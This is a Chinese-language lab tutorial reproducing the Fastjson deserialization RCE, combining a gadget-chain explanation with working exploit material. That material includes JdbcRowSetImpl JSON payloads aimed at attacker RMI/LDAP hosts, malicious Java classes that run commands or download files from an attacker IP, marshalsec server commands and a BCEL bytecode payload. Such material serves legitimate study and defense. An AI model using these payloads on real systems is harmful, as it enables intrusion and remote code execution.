概述
Fastjson允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名。Fastjson自定义的反序列化机制时会自动调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。
原理
反序列化的利用本质:
找到一条有效的攻击链,攻击链的末端就是有代码执行能力的类,来达到我们想做的事情,一般都是用来RCE(远程命令执行)。
构造一个触发器,也就是通过什么方式来让攻击链执行你想要的代码。触发器可以通过很多方式,比如静态代码块、构造方法等等。
这个时候我们可以考虑指定某些类,来远程调用一些恶意的类来实现RCE
这个时候可以考虑JNDI注入,JDNI是有sun提出的一个规范,全称是“命名和目录提供程序”(Naming and Directory Providers),用来解耦应用,让整个程序更便于扩展、部署以及应用。
JDNI底层可以驱动一系列的远程对象,例如RMI、LDAP等等,
如RMI(Remote Method Invocation)远程方法调用,是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。
1、运行了RMI的一端可以被称为“RMIServer”,用来提供可被远程调用的方法,这个过程称为“注册”,
然后通过http服务并把已经编译好的serialize.Exploit.class放到响应的目录供客户端获取。
这里就体现了RMI的核心,RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class。
2、客户端通过lookup()方法请求服务端,根据RMI请求返回的结果来再次通过http获取所需的factory类并进行实例化
小结一下就是,如果要成功利用这个lookup()来做一些事,就必须要以下条件:
1、lookup()的参数是我们能控制的;
2、远程URL是我们能控制的;
接下来就是找到一条利用链
JdbcRowSetImpl的利用链
1、找到JdbcRowSetImpl中调用了lookup()方法的函数;
在com.sun.rowset.JdbcRowSetImpl.class中的connect()中调用了looup(),并且looup的参数是通过getDataSourceName()方法获取到的,这一点很关键,需要确认这个get的结果是否是我们可控的。
1.1、确认getDataSourceName()方法的传值;
javadoc里面写明了DataSource是通过setDataSourceName来设置的,也就是dataSource属性的set和get方法;
2、找到调用connect()方法的函数;
可通过setAutoCommit()方法用来设置autoCommit属性的值,传值是一个boolean。只要能设置autoCommit就能调用set方法,而setAutoCommit()方法里面又调用了connect(),connent里面就有我们需要的lookup()。
总结
1、驱动JdbcRowSetImpl库;
2、通过设置dataSourceName属性传参给lookup()方法;
3、通过设置autoCommit属性来触发执行最终的lookup()方法。
按照上面的例子,就可以构造出:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.76.133:1099/Exploit","autoCommit":true}
环境搭建
方式一
1拉取镜像
docker pull rightctrl/tomcat
2映射到我服务器8080端口
docker run -d --name tomcat -p 8080:8080 rightctrl/tomcat
3访问http://127.0.0.1:8080/
4、将fastjson复制到在tomcat上
文件解压后,直接复制到tomcat的webapps目录下
docker cp fastjson tomcat:/usr/opt/tomcat/webapps/ //复制相关文件到docker
docker exec -i -t tomcat /bin/bash //进入容器查看相关文件
5访问http://ip:8080/fastjson1.2.47/
或者直接拉取vulhub相关镜像 vulhub/fastjson:1.2.45 注意该镜像默认端口为8090
方式二本地搭建
1下载tomcat文件 Index of /dist/tomcat/tomcat-8
2配置:下载完解压后,在bin目录下运行cmd命令 service install,之后可打开tomcat8w.exe控制端启动服务器。
3将fastjson复制到在tomcat上webapp目录上
4启动服务器
漏洞利用
JDNI注入的方式复现Fastjson反序列化远程代码漏洞利用过程。流程示意图:
值得注意的是这里利用RMI/LDAP协议要注意jdk的版本,否则会利用失败
方式一
利用JNDI注入工具执行命令注入,
向目标服务器传递json数据
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.56.101:1099/bqzw7x",
"autoCommit":true
}
}
查看服务器
方式二 高级利用
1编译生成恶意类Exp.class
这里提供几种恶意代码
public class Exp{
public Exp(){
try {
Runtime.getRuntime().exec("touch /tmp/success");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] argv){
Exp e = new Exp();
}
}
//新线程版本
public class Exp extends Thread{
static {
Thread t = new Exp();
t.start();
}
public void run(){
try {
Runtime.getRuntime().exec("touch /tmp/success");
} catch (Exception e) {
e.printStackTrace();
}
}
}
//远程下载写入文件
import java.net.*;
import java.io.*;
import java.nio.*;
import java.nio.channels.*;
import java.lang.*;
public class Exp{
public Exp(){
try {
URL website = new URL("http://192.168.56.101:8080/123");
ReadableByteChannel rbc = Channels.newChannel(website.openStream());
FileOutputStream fos = new FileOutputStream("/tmp/123");
fos.getChannel().transferFrom(rbc, 0, Long.MAX_VALUE);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] argv){
Exp e = new Exp();
}
}
//删除文件
import java.net.*;
import java.io.*;
import java.nio.*;
import java.nio.channels.*;
import java.lang.*;
public class Exp{
public Exp(){
try {
File textFile = new File("/tmp", "yztest.sh");
textFile.delete();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] argv){
Exp e = new Exp();
}
}
//关闭JAVA模式
import java.net.*;
import java.io.*;
import java.nio.*;
import java.nio.channels.*;
import java.lang.*;
public class Exp{
public Exp(){
try {
SecurityManager sm = new SecurityManager();
System.setSecurityManager(null);
sm = System.getSecurityManager();
if (sm == null)
Runtime.getRuntime().exec("touch /tmp/get");
else
Runtime.getRuntime().exec("touch /tmp/fail");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] argv){
Exp e = new Exp();
}
}
2 使用python搭建一个临时的web服务
python -m SimpleHTTPServer 4444
3 借助marshalsec项目,启动一个RMI/LDAP服务器,监听5555端口,并制定加载远程类
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:4444/#Exp 5555
4 向目标服务器传递json数据
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:5555/Exp",
"autoCommit":true
}
}
5查看执行结果
彩蛋
利用Fastjson v1.2.24版本漏洞,直接执行BECL编码后的Java字节码,执行 touch /tmp/success命令
环境
tomcat:7.0.99-openjdk-8.0.232
FastJSON 1.2.24
1生成BECL字节码
$ "c:\Program Files\Java\jdk1.7.0_01\bin\java" -jar deser.jar bcel ..\..\production\deser\Exec.class
type: bcel
evil: ..\..\production\deser\Exec.class
com.sun.org.apache.bcel encode:
$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91MO$db$40$Q$86$dfM$9c$f8$D$87$90$d0P$u$b4MK$3f$S$O$f5$81$p$a8$97$K$qT$f3$a1$s$K$e7$cdv$95$y$qv$e4$ac$x$feQ$cf$5ch$c5$81$l$c0$8fB$cc$$$81F$w$96$3c$e3yg$e6$99$Z$f9$f6$ee$fa$G$c06$3e$F$f0$f02$c0$w$d6$3c$bc2$7e$dd$c5F$80$S$5e$bbx$e3$e2$zCyW$rJ$7fe$u$b6$da$3d$G$e7$5b$faS2Tc$95$c8$a3$7c$dc$97Y$97$f7G$a4$d4$e3T$f0Q$8fg$ca$c43$d1$d1C5$rF$bcw$n$c5$O$83$b7$xF3$i$a3t$p$3e$e3$bfx$a4$d2$e8$e0x$efB$c8$89ViBe$95$8e$e6$e2$fc$90O$y$866b$I$3ai$9e$J$b9$af$M$d67$b8$_$a67$84$8f$c0E3$c4$3b$bc$a7$rt$9a$8ba3$d2$e3I4$cd$85$90$d3i$88M$7c$60X$7efR$88$8f$IhICcX$b2$V$p$9e$M$a2$e3$fe$99$U$9a$a1$f6O$fa$91$tZ$8div0$90$fa$vh$b4$da$f1$7f5t$80$p$z$f2sk$$$db$d1$99J$G$3b$f3$N$tYjV$a4$86$ea$84$92$da$9e$dd$cd$b8$90t$8eK$bf$c6$3c$F0s$q$d9$F$8a$o$f2$8c$7ci$eb$P$d8$a5M$87d$cbV$y$a2B6$7c$u$c0$o$aa$e4$3d$y$3d5s$L$D$ea$7fQ$a8$X$af$e0$9c$fe$86$f7$7d$eb$K$e5K$ab$fb$d4$5b$o$8a$n$ae$d0$97$e1$faVu$89$ec$a1F$a4$c7$J$V8$U$d7$vZ$a6$d7E$nv$f1$c2$a1D$c3$$$b5r$P$3f$90$w$Dd$C$A$A
2发送数据
{
{
'@type':"com.alibaba.fastjson.JSONObject",
'a':
{
'@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource",
'driverClassLoader':
{
'@type':"com.sun.org.apache.bcel.internal.util.ClassLoader"
},
'driverClassName':'$$BCEL$$$l$8b...$A$A'
}
}:'b'
}
参考
超详细的Fastjson<=1.2.47反序列化漏洞复现 - 云+社区 - 腾讯云
(环境搭建+复现)Fastjson1.2.47版本反序列化漏洞复现_daxi0ng的博客-CSDN博客_fastjson反序列化漏洞
Fastjson反序列化漏洞利用原理和POC_u012990687的专栏-CSDN博客_fastjson poc
Central Repository: com/alibaba/fastjson
Fastjson BasicDataSource攻击链简介 – 绿盟科技技术博客